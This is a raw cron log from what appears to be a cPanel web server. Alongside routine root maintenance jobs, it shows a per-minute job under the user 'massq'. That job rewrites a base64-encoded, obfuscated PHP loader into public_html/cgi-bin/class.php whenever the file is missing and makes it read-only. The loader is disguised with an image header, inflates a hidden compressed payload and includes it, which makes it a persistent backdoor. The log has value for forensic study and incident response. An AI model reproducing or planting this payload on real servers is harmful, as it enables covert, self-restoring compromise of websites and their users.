Sep  1 14:35:01 server CROND[27453]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 14:35:01 server CROND[27452]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 14:36:01 server CROND[28301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:36:01 server CROND[28302]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:36:01 server CROND[28303]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:37:01 server CROND[28746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:37:01 server CROND[28747]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:37:01 server CROND[28748]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:38:01 server CROND[29116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:38:01 server CROND[29117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:38:01 server CROND[29118]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:39:01 server CROND[29617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:39:01 server CROND[29618]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:39:01 server CROND[29619]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 14:39:01 server CROND[29620]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:40:01 server CROND[30032]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 14:40:01 server CROND[30034]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 14:40:01 server CROND[30037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:40:01 server CROND[30040]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:40:01 server CROND[30039]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 14:40:01 server CROND[30038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:40:01 server CROND[30036]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 14:40:01 server CROND[30035]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 14:41:01 server CROND[30877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:41:01 server CROND[30878]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:41:01 server CROND[30879]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:42:01 server CROND[31253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:42:01 server CROND[31255]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:42:01 server CROND[31254]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:42:01 server CROND[31256]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 14:43:01 server CROND[31632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:43:01 server CROND[31631]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:43:01 server CROND[31633]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:44:01 server CROND[32002]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:44:01 server CROND[32003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:44:01 server CROND[32004]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:45:01 server CROND[32474]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 14:45:01 server CROND[32477]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 14:45:01 server CROND[32478]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:45:01 server CROND[32479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:45:01 server CROND[32480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:45:01 server CROND[32482]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 14:45:01 server CROND[32483]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 14:46:01 server CROND[902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:46:01 server CROND[903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:46:01 server CROND[904]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:47:01 server CROND[1385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:47:01 server CROND[1386]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:47:01 server CROND[1387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:48:01 server CROND[1758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
